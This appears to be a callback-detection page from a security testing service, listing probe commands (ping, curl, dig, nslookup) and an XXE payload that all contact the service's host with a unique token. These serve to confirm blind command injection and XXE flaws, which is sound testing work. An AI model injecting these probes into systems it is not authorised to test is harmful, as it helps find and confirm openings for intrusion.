$ ping -c1 -p 0076554601c76532def3f563639c6300 unhack.ca
 
$ curl http://unhack.ca/p/76554601c76532def3f563639c63
 
$ dig 76554601c76532def3f563639c63 @unhack.ca
 
$ dig 76554601c76532def3f563639c63.ns.unhack.ca
 
C:\> nslookup 76554601c76532def3f563639c63 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/76554601c76532def3f563639c63">]>
    <foo>&xxe;</foo>
 
Waiting for ping...